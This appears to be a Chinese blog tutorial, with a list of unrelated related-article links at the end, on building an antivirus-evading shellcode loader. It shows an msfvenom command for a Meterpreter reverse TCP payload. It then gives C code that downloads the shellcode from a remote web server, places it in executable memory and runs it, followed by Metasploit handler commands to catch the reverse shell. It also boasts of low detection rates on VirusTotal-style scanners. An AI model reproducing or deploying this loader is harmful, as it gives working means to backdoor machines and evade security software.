通过URL载入ShellCode代码
将生成的shellcode放到web服务器上,本地不保存恶意代码,本地只负责加载到内存运行,这样可以很好的躲过查杀。
- 生成shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.1.20 lport=9999 -f c
2.使用获取代码,前提搭建好http服务器,并将shellcode写入服务器页面中。
#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#pragma comment(lib, "WinInet.lib")char * GetUrlPage(char *URL, char *SubPath)
{HINTERNET hInternet, hConnect, hRequest = NULL;DWORD dwOpenRequestFlags, dwRet = 0;unsigned char *pResponseHeaderIInfo = NULL;DWORD dwResponseHeaderIInfoSize = 2048;BYTE *pBuf = NULL;DWORD dwBufSize = 64 * 2048;hInternet = ::InternetOpen("WinInetGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);hConnect = ::InternetConnect(hInternet, URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);if (NULL == hConnect)return NULL;dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;hRequest = HttpOpenRequest(hConnect, "GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);HttpSendRequest(hRequest, NULL, 0, NULL, 0);pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize];RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize);HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL);pBuf = new BYTE[dwBufSize];RtlZeroMemory(pBuf, dwBufSize);InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);return (char *)pBuf;
}int main(int argc, char * argv[])
{char *shellcode = GetUrlPage("192.168.1.20", "/shellcode");printf("%s \n", shellcode);system("pause");return 0;
}
3.处理shellcode代码,并将其加载到堆,并设置可读可执行,执行代码反弹即可。
int shellcode_length = strlen(ShellCode);unsigned char* value = (unsigned char*)calloc(shellcode_length / 2, sizeof(unsigned char));for (size_t count = 0; count < shellcode_length / 2; count++){sscanf(ShellCode, "%2hhx", &value[count]);ShellCode += 2;}void *exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(exec, value, shellcode_length /2 );((void(*)())exec)();
测试,查毒率 VirScan - 多引擎文件在线检测平台 49个引擎,只有三个报毒。
第二个 VirusTotal ,查毒率
3.最后,生成成功后,我们将攻击主机运行一个监听事件,然后打开生成后的后门,然后发现能够成功上线。
[root@localhost ~]# msfconsole
msf5 >
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 8888
msf5 exploit(multi/handler) > exploit -j -z
通过URL载入ShellCode代码相关推荐
- AMD规范:简单而优雅的动态载入JavaScript代码
本文翻译自http://www.sitepen.com/blog/2010/11/04/requirejsamd-module-forms/,并加入部分自己的解释. CommonJS 提出了一种用于同 ...
- 源泉书签,助您管理海量收藏。www.yuanquanshuqian.com 今日更新:支持了导入url为js代码的书签...
源泉书签,助您管理海量收藏.www.yuanquanshuqian.com 今日更新:支持了导入url为js代码的书签 转载于:https://www.cnblogs.com/jzssuanfa/p/ ...
- 用js自动把url加入ubb代码的函数
//在内容中把url加入ubb代码 Code: function ubb(str){ var pattern = /(http|ftp):\/\/[0-9a-zA-Z_\-]{2,}\.[0-9a-z ...
- python模拟百度搜索点击链接_python采集百度搜索结果带有特定URL的链接代码实例...
这篇文章主要介绍了python采集百度搜索结果带有特定URL的链接代码实例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 #coding utf-8 ...
- javascript获取url参数的代码
代码 <script language = javascript> function request(paras){ var url = location.href; var paraSt ...
- 程序员面试金典适合java么,【程序员面试金典】面试题 01.03. URL化(示例代码)
题目 URL化.编写一种方法,将字符串中的空格全部替换为%20.假定该字符串尾部有足够的空间存放新增字符,并且知道字符串的"真实"长度.(注:用Java实现的话,请使用字符数组实现 ...
- 网络编程之如何通过URL获取网页代码
java.net 类 URL java.lang.Objectjava.net.URL 所有已实现的接口: Serializable public final class URLextends Obj ...
- php获取当前页面地址代码,PHP获取当前页面URL地址程序代码
在php中要获取当前页面url地址方法很简单,下面我来给大家总结一下利用相关函数获取完整页面url地址的实例. PHP的预定义变量$_SERVER是一个包含头部(headers),路径信息及脚本位置的 ...
- android:由URL载入中ImageView
两种方法: 方法一: Bitmap bimage= getBitmapFromURL(bannerpath); image.setImageBitmap(bimage);public static B ...
最新文章
- 浅谈大数据中的 2PC、3PC、Paxos、Raft、ZAB
- 区块链应用和法律规范
- Redis持久化存储详解(一)
- android 代码设置 键盘适应_Android自适应软键盘的Dialog以及监听软键盘弹起
- App乱世,3721离我们有多远
- 2020 年最全 Python 面试题汇总 (四)
- 展望2018:人工智能为媒体服务赋能
- 中求解数组中元素个数_JavaScript之学underscore在数组中查找指定元素
- 中国营销界:震惊全球的六种“武器”
- 【译】变分自编码器教程 一、简介
- mysql INSERT INTO table2 (column_name(s)) SELECT column_name(s) FROM table1;
- usb转rs485 linux驱动下载,USB转RS485串口驱动
- 求网页中嵌入mp3 格式音乐的html代码,子夜星·关于网页中加入音乐代码的讲解...
- 丁昊 北大计算机,北大清华17人!2018自主招生等类型入选名单公示,苏州333人!...
- “猫”和路由器是一个东西吗?
- Blast 几种方法的具体用法以及含义
- 仿热血江湖游戏Players装备加解锁功能未开放,请联系客服人员
- 《MySQL性能优化和高可用架构实践》阅读总结
- Spring Boot 菜鸟教程 12 EasyPoi导出Excel下载
- 织梦模板文章的图片路径问题
热门文章
- 第51次全国计算机等级考试时间,通知丨第51次全国计算机等级考试开始
- 自学html代码,HTML代码学习(一)
- 射频功率衰减器一般采用电阻元件,有两种主要电路形式:π型和T型
- proteus篇------小夜灯原理
- 从垃圾分类到边缘计算,九州云乌镇专题研讨会引发热议
- springboot项目每次启动的时候都会跳进一个异常解决办法
- 计算机辅助工程具体应用,计算机辅助工程应用及展望.pdf
- 实习第三周小记-----生活在于经历
- 【qml】设置Component内多级子孙元素的属性的快捷方法
- 欧拉公式在计算机图形学中的,计算机图形学 第九章课件.ppt